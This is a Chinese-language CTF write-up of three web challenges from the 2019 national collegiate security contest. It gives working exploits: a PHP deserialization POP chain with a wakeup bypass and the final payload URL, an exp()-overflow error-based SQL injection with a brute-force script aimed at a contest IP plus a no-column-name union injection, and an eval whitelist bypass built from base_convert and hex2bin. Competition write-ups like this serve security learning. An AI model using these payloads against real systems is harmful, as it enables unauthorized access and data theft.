2019全国大学生网络安全竞赛

  这次比赛的难度比滴滴要难很多。web4道题,难度特别大,昨天一宿才做出两个,4道题能全拿下的选手寥寥无几。佩服电子科技大学网安学院的各位师傅。。

  • web1  JustSoso

打开题目后是这样一个页面。

查看源码

提示:查看hint.php/index.php两个源码。然后文件读写进去一个php文件。

index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
<?php    
class Handle{       
    private $handle;        
    public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }
    public function __construct($handle) {           
        $this->handle = $handle;       
    }    
    public function __destruct(){    
        $this->handle->getFlag();   
    }  
}    
class Flag{      
    public $file;      
    public $token;      
    public $token_flag;         
    function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){    
        $this->token_flag = md5(rand(1,10000));          
        if($this->token === $this->token_flag){     
            if(isset($this->file)){      
                echo @highlight_file($this->file,true);               
            }            
        }      
    }  
}
?>

先来一个一个分析,index.php中涉及parus_url()函数。含有一个对于payload的序列化。

首先会对我们传入的参数调用parse_url函数进行解析,然后对每个参数进行正则匹配,匹配到flag就直接退出。

parse_url解析函数漏洞:

参考:https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

简单一些讲:在读取URL处,将/xxx.php?改写为///xxx.php?即可绕过parse_url

本题中改为如下方式绕过parse_url函数

接下来跟进hint.php

public function __destruct(){    
        $this->handle->getFlag();   
 }

看到了序列化中的漏洞输出点,_destruct() 析构函数,绕过这个析构函数,就可以得到flag.

方法:序列化中,参数与实际变量个数不相等即可。

观察getflag函数体

   public function getFlag(){    
        $this->token_flag = md5(rand(1,10000));          
        if($this->token === $this->token_flag){     
            if(isset($this->file)){      
                echo @highlight_file($this->file,true);               
            }            
        }      
    }

函数中token_flag是随机数生成的一个值,我们需要将序列化后传入的token值与随机生成的这个token_flag进行对比,如果相等,就得到了答案。

先来解决序列化析构函数绕过的问题:

构造pop链

1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);

2, 构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>

$a = new Handle($b);

要注意到这里class Handle{}中有__wakeup()函数:

    public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }

刚才说到了,绕过wake_up函数的方法:,当成员属性数目大于实际数目时

具体参考:https://www.cnblogs.com/Mrsm1th/p/6835592.html

O:6:"Handle":1:{s:12:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

将Handle后的1改为2即可。

最后一步,也是最为关键一部。

看上面的flag类结构。

function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){    
        $this->token_flag = md5(rand(1,10000));          
        if($this->token === $this->token_flag){     
            if(isset($this->file)){      
                echo @highlight_file($this->file,true);               
            }            
        }      
    }

代码的意图明显,这个函数运行后会随机生成两个md5值并分别分配给token_flag,token这两个变量。这个在我们刚才模拟的那个序列化字符串中就有体现。

方法:但是服务器在反序列化之后执行getFlag函数时会再随机生成一个token_flag,而且二者要相等才能拿到flag。这里由于生成位置不在一个机器,因此伪随机无法使用,即dir_rand()函数,我一开始想的时爆破,毕竟数量也不多。而且传入的token是确定的,服务器重新生成得token_flag是随机的。因此我用了一个特别坑的方法,不停得循环传入我们构造好的反序列化字串,总有一个刚好服务器生成得token_flag和我们传得token相等。可惜风控系统判定我的方法是在攻击服务器,占用资源,直接把我挂了。后来问了一下别人,正确方法是赋值。

原理:

a=1;&b=&a;a+=1;

最后a=b=2。

用同样的方法在序列化末尾加上

$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);

最终token_flag=token

答案:

<?php
class Handle{       
    private $handle;        
    public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }
    public function __construct($handle) {           
        $this->handle = $handle;       
    }    
    public function __destruct(){    
        $this->handle->getFlag();   
    }  
}    
class Flag{      
    public $file;      
    public $token;      
    public $token_flag;         
    function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){       
        if(isset($this->file)){      
            echo @highlight_file($this->file,true);               
        }            
    }  
}


$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>

输出:

O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"5d55e7c13b0f4d7cf9d5d55d3af329c8";s:10:"token_flag";R:4;}

最终构造:

?file=hint&payload=O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"5d55e7c13b0f4d7cf9d5d55d3af329c8";s:10:"token_flag";R:4;}}

开场的第一题就遇到意外,当时的心态有点失衡。

web2 全宇宙最简单的SQL

当输出一些正常字符例如 123 abc admin会显示登陆错误。

 输入正常语句时会报错。

我的想法是再加一句特殊判断。123' and 1 = 1 and updatexml(1,2)。发现这样的语法不符合逻辑。最终解法利用整数溢出。

(select exp(~(select * from(select user())x)));

Exp()是以e为底的对数函数,exp()函数报错注入是一个Double型数据溢出

弄明白了注入方法,写脚本爆数据库:

#coding=utf-8
import requests
url = 'http://39.97.227.64:52105/'
result = ''
payload = '''123' and ascii(mid({sql},{list},1))={num} and (select exp(~(select * from(select user())x)));'''
for i in range(1,50):
    for j in range(32,126):
        hh = payload.format(sql = '(select database())',list=str(i),num=str(j))
        #print (hh)
        data = {'username':hh,'password':'123'}
        #print(data)
    try:
        zz = requests.post(url,data=data)
        print ("===========")
        #print (zz.apparent_encoding)
        zz.encoding='utf-8'
        print(zz.text)
        print ("===========")
        if '数据库操作失败' in zz.content:
            result +=chr(j)
            print( result)
            break
    except:
        continue

数据库名ctf

接下来爆破表名时遇到了问题,or被过滤掉了,因此information也用不了,后来问了一下其他大佬,给了个提示无列名注入,听都没听过的我赶紧百度了一下。之后把最后一步做了出来。

union (select 1,2,c from (select 1,2 c union select * from flag)b) limit 1,1;

第一个from后面其实应该是我们接下里要爆出的列名,无法得到列名时候用一个select语句代入就绕过了。

参考:http://p0desta.com/2018/03/29/SQL%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/

web3 :love_math

 这道题的难度依然超级的大,做了3个小时才做出来,当时心态已经全崩了。

 查看源码。

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']']; 
    foreach ($blacklist as $blackitem) {
        if (preg_match('/'. $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 
}
?>

whitelist中包含了很多数学函数,例如反三角函数(asin,acos,atan),高斯取整函数(ceil),转码(base_convert,decbin,dechex)等等 。

首先对长度有要求,就是这里比较难绕,而后会正则匹配,不能出现[‘ ‘, ‘t’, ‘r’, ‘n’,’’’, ‘“‘, ‘`’, ‘[‘, ‘]‘]这些符号

再正则匹配,除了whitelist数组中得数学函数之外得所有字母以及字母串都不能使用。

这里堵了很久,后来去看他给的那些数学函数中有一个函数:

<?php
$oct = "0031";
$dec = base_convert($oct,8,10);
echo "八进制的 $oct 等于十进制的 $dec。";
#八进制的 0031 等于十进制的 25。
?>

后来想到16进制字符串截取。就像这样。

echo "base_convert(11259375,10,16){0} => ";
echo base_convert(11259375,10,16){0};

弹出数组的一个元素即将一串数字成功的转换成我们想要的字符。(脑洞太大了。。。。)

<?php
$ss=array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9','[','Q','P','S','U','R','W','T','V','Y','X','Z','\','_','^',']');

foreach ($ss as $w) {
    foreach ($ss as $r){
        echo $w;
        echo(" and ");
        echo $r;
        echo(" <=> ");
        echo ($w^$r);
        echo(" <=> ");
        echo(ord($w^$r));
        echo ("<br>");
    }
}


?>

这样就将所有的字符用16进制编码转换出来了。

因此在输入框中输入(dechex(0){0})^(dechex(10){0}^dechex(1){0})

准备拿flag.php文件的时候发现提示长度超了。超过了30位。因此这个方法是错的,也就是写的所有东西都要推翻重新写。。重新上网查了一下,字母转数字大大大多数情况下都用的是32进制编码,我也不知道为什么要用36而不是16,将phpinfo转换一下base_convert(55490343972,10,36)

成功的执行了我们想执行的语句。

想用这个思路直接执行cat flag.php发现转换之后base_convert(696468,10,36)(“base_convert(15941,10,36) dechex(15){0}*”)比之前的那个字符串长度还要长。。。因此这条路也行不通了。

重新看

再想到?c=$_GET[1]&1=whoami这种办法,用传参得方式缩短变量长度,但在$_GET构造这一块,因为需要亦或构造出下划线以及[],最后长度也是超过限度。

因此我的思路:减少不必要的因为格式要求而产生的字符。例如$_get 如果能直接简化为get语句就很好,省出了两位。。。正当我精打细算省字符串位的时候,师傅提示我用ASCII编码。

<?php
echo hex2bin("48656c6c6f20576f726c6421");
?>
以上实例输出结果:
Hello World!

<?php 
$str = bin2hex("Hello World!");
echo($str); 
?>
以上实例输出结果:
48656c6c6f20576f726c6421

最终的答案:base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(426836762666)))

最后一题原题进不去了,等官方答案给出再看吧。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10760200.html